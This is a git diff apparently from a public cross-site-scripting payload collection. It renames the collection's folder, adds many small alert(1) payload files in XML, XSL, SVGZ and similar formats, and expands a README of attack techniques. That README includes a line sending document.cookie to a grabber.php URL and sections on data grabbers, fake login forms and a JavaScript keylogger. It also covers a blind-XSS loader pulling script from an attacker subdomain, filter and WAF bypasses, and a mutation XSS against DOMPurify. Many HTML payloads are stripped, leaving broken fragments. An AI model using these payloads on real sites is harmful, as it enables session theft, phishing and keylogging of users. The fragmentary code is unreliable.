injection/Files/SWF_XSS.swf b/XSS Injection/Files/SWF_XSS.swf similarity index 100% rename from XSS injection/Files/SWF_XSS.swf rename to XSS Injection/Files/SWF_XSS.swf diff --git a/XSS Injection/Files/xml.xsd b/XSS Injection/Files/xml.xsd new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xml.xsd @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.cer b/XSS Injection/Files/xss.cer new file mode 100644 index 0000000000..d58a4dc559 --- /dev/null +++ b/XSS Injection/Files/xss.cer @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/XSS Injection/Files/xss.dtd b/XSS Injection/Files/xss.dtd new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.dtd @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.htm b/XSS Injection/Files/xss.htm new file mode 100644 index 0000000000..d58a4dc559 --- /dev/null +++ b/XSS Injection/Files/xss.htm @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/XSS Injection/Files/xss.html.demo b/XSS Injection/Files/xss.html.demo new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.html.demo @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.hxt b/XSS Injection/Files/xss.hxt new file mode 100644 index 0000000000..d58a4dc559 --- /dev/null +++ b/XSS Injection/Files/xss.hxt @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/XSS Injection/Files/xss.mno b/XSS Injection/Files/xss.mno new file mode 100644 index 0000000000..18c2fa9216 --- /dev/null +++ b/XSS Injection/Files/xss.mno @@ -0,0 +1 @@ +alert(1337) \ No newline at end of file diff --git a/XSS Injection/Files/xss.rdf b/XSS Injection/Files/xss.rdf new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.rdf @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.svgz b/XSS Injection/Files/xss.svgz new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.svgz @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.url.url b/XSS Injection/Files/xss.url.url new file mode 100644 index 0000000000..325158b1a9 --- /dev/null +++ b/XSS Injection/Files/xss.url.url @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/XSS Injection/Files/xss.vml b/XSS Injection/Files/xss.vml new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.vml @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.wsdl b/XSS Injection/Files/xss.wsdl new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.wsdl @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.xht b/XSS Injection/Files/xss.xht new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.xht @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.xhtml b/XSS Injection/Files/xss.xhtml new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.xhtml @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS injection/Files/XML XSS.xml b/XSS Injection/Files/xss.xml similarity index 84% rename from XSS injection/Files/XML XSS.xml rename to XSS Injection/Files/xss.xml index 050b157e12..b65f614a89 100644 --- a/XSS injection/Files/XML XSS.xml +++ b/XSS Injection/Files/xss.xml @@ -2,7 +2,7 @@ alert(1) - + alert(2) confirm(document.domain)]]> diff --git a/XSS Injection/Files/xss.xsd b/XSS Injection/Files/xss.xsd new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.xsd @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.xsf b/XSS Injection/Files/xss.xsf new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.xsf @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.xsl b/XSS Injection/Files/xss.xsl new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.xsl @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS Injection/Files/xss.xslt b/XSS Injection/Files/xss.xslt new file mode 100644 index 0000000000..2f2094d0a2 --- /dev/null +++ b/XSS Injection/Files/xss.xslt @@ -0,0 +1 @@ +alert(1) \ No newline at end of file diff --git a/XSS injection/Files/xss_comment_exif_metadata_double_quote.png b/XSS Injection/Files/xss_comment_exif_metadata_double_quote.png old mode 100755 new mode 100644 similarity index 100% rename from XSS injection/Files/xss_comment_exif_metadata_double_quote.png rename to XSS Injection/Files/xss_comment_exif_metadata_double_quote.png diff --git a/XSS injection/Files/xss_comment_exif_metadata_single_quote.png b/XSS Injection/Files/xss_comment_exif_metadata_single_quote.png old mode 100755 new mode 100644 similarity index 100% rename from XSS injection/Files/xss_comment_exif_metadata_single_quote.png rename to XSS Injection/Files/xss_comment_exif_metadata_single_quote.png diff --git a/XSS injection/Images/DwrkbH1VAAErOI2.jpg b/XSS Injection/Images/DwrkbH1VAAErOI2.jpg similarity index 100% rename from XSS injection/Images/DwrkbH1VAAErOI2.jpg rename to XSS Injection/Images/DwrkbH1VAAErOI2.jpg diff --git a/XSS injection/Intruders/BRUTELOGIC-XSS-JS.txt b/XSS Injection/Intruders/BRUTELOGIC-XSS-JS.txt similarity index 100% rename from XSS injection/Intruders/BRUTELOGIC-XSS-JS.txt rename to XSS Injection/Intruders/BRUTELOGIC-XSS-JS.txt diff --git a/XSS injection/Intruders/BRUTELOGIC-XSS-STRINGS.txt b/XSS Injection/Intruders/BRUTELOGIC-XSS-STRINGS.txt similarity index 100% rename from XSS injection/Intruders/BRUTELOGIC-XSS-STRINGS.txt rename to XSS Injection/Intruders/BRUTELOGIC-XSS-STRINGS.txt diff --git a/XSS injection/Intruders/IntrudersXSS.txt b/XSS Injection/Intruders/IntrudersXSS.txt similarity index 99% rename from XSS injection/Intruders/IntrudersXSS.txt rename to XSS Injection/Intruders/IntrudersXSS.txt index 3dbd1134bc..b7e741fa5b 100644 --- a/XSS injection/Intruders/IntrudersXSS.txt +++ b/XSS Injection/Intruders/IntrudersXSS.txt @@ -63,7 +63,7 @@ javascript://-->click this! copy this! right click this! -copy this! +cut this! double click this! drag this! focus this! diff --git a/XSS injection/Intruders/JHADDIX_XSS.txt b/XSS Injection/Intruders/JHADDIX_XSS.txt similarity index 100% rename from XSS injection/Intruders/JHADDIX_XSS.txt rename to XSS Injection/Intruders/JHADDIX_XSS.txt diff --git a/XSS injection/Intruders/MarioXSSVectors.txt b/XSS Injection/Intruders/MarioXSSVectors.txt similarity index 100% rename from XSS injection/Intruders/MarioXSSVectors.txt rename to XSS Injection/Intruders/MarioXSSVectors.txt diff --git a/XSS injection/Intruders/RSNAKE_XSS.txt b/XSS Injection/Intruders/RSNAKE_XSS.txt similarity index 100% rename from XSS injection/Intruders/RSNAKE_XSS.txt rename to XSS Injection/Intruders/RSNAKE_XSS.txt diff --git a/XSS injection/Intruders/XSSDetection.txt b/XSS Injection/Intruders/XSSDetection.txt similarity index 100% rename from XSS injection/Intruders/XSSDetection.txt rename to XSS Injection/Intruders/XSSDetection.txt diff --git a/XSS injection/Intruders/XSS_Polyglots.txt b/XSS Injection/Intruders/XSS_Polyglots.txt similarity index 100% rename from XSS injection/Intruders/XSS_Polyglots.txt rename to XSS Injection/Intruders/XSS_Polyglots.txt diff --git a/XSS injection/Intruders/jsonp_endpoint.txt b/XSS Injection/Intruders/jsonp_endpoint.txt similarity index 92% rename from XSS injection/Intruders/jsonp_endpoint.txt rename to XSS Injection/Intruders/jsonp_endpoint.txt index e514d81858..12add2427e 100644 --- a/XSS injection/Intruders/jsonp_endpoint.txt +++ b/XSS Injection/Intruders/jsonp_endpoint.txt @@ -24,6 +24,9 @@ #Uber.com: "> #AOL/Yahoo +"> +"> +"> "> "> "> @@ -51,4 +54,4 @@ #GoogleAPI's "> "> -ng-app"ng-csp ng-click=$event.view.alert(1337)> \ No newline at end of file +ng-app"ng-csp ng-click=$event.view.alert(1337)> diff --git a/XSS injection/Intruders/xss_alert.txt b/XSS Injection/Intruders/xss_alert.txt similarity index 100% rename from XSS injection/Intruders/xss_alert.txt rename to XSS Injection/Intruders/xss_alert.txt diff --git a/XSS injection/Intruders/xss_payloads_quick.txt b/XSS Injection/Intruders/xss_payloads_quick.txt old mode 100755 new mode 100644 similarity index 100% rename from XSS injection/Intruders/xss_payloads_quick.txt rename to XSS Injection/Intruders/xss_payloads_quick.txt diff --git a/XSS injection/Intruders/xss_swf_fuzz.txt b/XSS Injection/Intruders/xss_swf_fuzz.txt old mode 100755 new mode 100644 similarity index 100% rename from XSS injection/Intruders/xss_swf_fuzz.txt rename to XSS Injection/Intruders/xss_swf_fuzz.txt diff --git a/XSS injection/README.md b/XSS Injection/README.md similarity index 77% rename from XSS injection/README.md rename to XSS Injection/README.md index ce6896231d..1fe1978203 100644 --- a/XSS injection/README.md +++ b/XSS Injection/README.md @@ -2,38 +2,86 @@ Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. +## Summary + - [Exploit code or POC](#exploit-code-or-poc) + - [Data grabber for XSS](#data-grabber-for-xss) + - [UI redressing](#ui-redressing) + - [Javascript keylogger](#javascript-keylogger) + - [Other ways](#other-ways) - [Identify an XSS endpoint](#identify-an-xss-endpoint) - [XSS in HTML/Applications](#xss-in-htmlapplications) - [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri) - [XSS in files (XML/SVG/CSS/Flash/Markdown)](#xss-in-files) +- [XSS in PostMessage](#xss-in-postmessage) - [Blind XSS](#blind-xss) + - [XSS Hunter](#xss-hunter) + - [Other Blind XSS tools](#other-blind-xss-tools) + - [Blind XSS endpoint](#blind-xss-endpoint) +- [Mutated XSS](#mutated-xss) - [Polyglot XSS](#polyglot-xss) - [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads) + - [Bypass case sensitive](#bypass-case-sensitive) + - [Bypass tag blacklist](#bypass-tag-blacklist) + - [Bypass word blacklist with code evaluation](#bypass-word-blacklist-with-code-evaluation) + - [Bypass with incomplete html tag](#bypass-with-incomplete-html-tag) + - [Bypass quotes for string](#bypass-quotes-for-string) + - [Bypass quotes in script tag](#bypass-quotes-in-script-tag) + - [Bypass quotes in mousedown event](#bypass-quotes-in-mousedown-event) + - [Bypass dot filter](#bypass-dot-filter) + - [Bypass parenthesis for string](#bypass-parenthesis-for-string) + - [Bypass parenthesis and semi colon](#bypass-parenthesis-and-semi-colon) + - [Bypass onxxxx= blacklist](#bypass-onxxxx---blacklist) + - [Bypass space filter](#bypass-space-filter) + - [Bypass email filter](#bypass-email-filter) + - [Bypass document blacklist](#bypass-document-blacklist) + - [Bypass using javascript inside a string](#bypass-using-javascript-inside-a-string) + - [Bypass using an alternate way to redirect](#bypass-unsing-an-alternate-way-to-redirect) + - [Bypass using an alternate way to execute an alert](#bypass-using-an-alternate-way-to-execute-an-alert) + - [Bypass ">" using nothing](#bypass----using-nothing) + - [Bypass ";" using another character](#bypass-using------using-another-character) + - [Bypass using HTML encoding](#bypass-using-html-encoding) + - [Bypass using Katana](#bypass-using-katana) + - [Bypass using Lontara](#bypass-using-lontara) + - [Bypass using ECMAScript6](#bypass-using-ecmascript6) + - [Bypass using Octal encoding](#bypass-using-octal-encoding) + - [Bypass using Unicode](#bypass-using-unicode) + - [Bypass using UTF-7](#bypass-using-utf---7) + - [Bypass using UTF-8](#bypass-using-utf---8) + - [Bypass using UTF-16be](#bypass-using-utf---16be) + - [Bypass using UTF-32](#bypass-using-utf---32) + - [Bypass using BOM](#bypass-using-bom) + - [Bypass using weird encoding or native interpretation](#bypass-using-weird-encoding-or-native-interpretation) - [CSP Bypass](#csp-bypass) -- [Common WAF Bypas](#common-waf-bypass) +- [Common WAF Bypass](#common-waf-bypass) ## Exploit code or POC -Cookie grabber for XSS +### Data grabber for XSS -```php -document.location='http://localhost/XSS/grabber.php?c='+document.cookie -or + + +``` + +Write the collected data into a file. -// Write the cookie in a file +```php + ``` -UI redressing (Sophisticated phishing) +### UI redressing + +Leverage the XSS to modify the HTML content of the page in order to display a fake login form. ```html ``` -Keylogger for XSS +### Javascript keylogger + +Another way to collect sensitive data is to set a javascript keylogger. ```javascript ``` +### Other ways + More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all): - [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/) @@ -91,6 +143,15 @@ Svg payload "> ">MOVE HERE +
MOVE HERE
+
MOVE HERE
+
MOVE HERE
+
MOVE HERE
+
MOVE HERE
+
MOVE HERE
``` XSS for HTML5 @@ -122,18 +183,6 @@ you can also specify an arbitratry payload with 14.rs/#payload e.g: 14.rs/#alert(document.domain) ``` -XSS in META tag - -```javascript -Base64 encoded - - - - -With an additional URL - -``` - XSS in Hidden input ```javascript @@ -162,12 +211,6 @@ URL/]]> ``` -XSS in Markdown +### XSS in Markdown ```csharp [a](javascript:prompt(document.cookie)) @@ -265,7 +308,7 @@ XSS in Markdown [a](javascript:window.onerror=alert;throw%201) ``` -XSS in SWF flash application +### XSS in SWF flash application ```powershell Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); @@ -275,7 +318,7 @@ IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvali more payloads in ./files -XSS in SWF flash application +### XSS in SWF flash application ``` flashmediaelement.swf?jsinitfunctio%gn=alert`1` @@ -296,7 +339,7 @@ flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}// phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}// ``` -XSS in CSS +### XSS in CSS ```html @@ -315,6 +358,33 @@ div { ``` +## XSS in PostMessage + +> If the target origin is asterisk * the message can be sent to any domain has reference to the child page. + +```html + + + + + + + +``` + ## Blind XSS ### XSS Hunter @@ -333,7 +403,7 @@ javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursu ``` -### Other tools for Blind XSS +### Other Blind XSS tools - [sleepy-puppy - Netflix](https://github.com/Netflix-Skunkworks/sleepy-puppy) - [bXSS - LewisArdern](https://github.com/LewisArdern/bXSS) @@ -347,6 +417,21 @@ javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursu - Referer Header - Custom Site Analytics - Administrative Panel logs +- User Agent + - Custom Site Analytics + - Administrative Panel logs +- Comment Box + - Administrative Panel + +## Mutated XSS + +Use browsers quirks to recreate some HTML tags when it is inside an `element.innerHTML`. + +Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Search. Technical blogposts available at https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ and https://research.securitum.com/dompurify-bypass-using-mxss/. + +```javascript +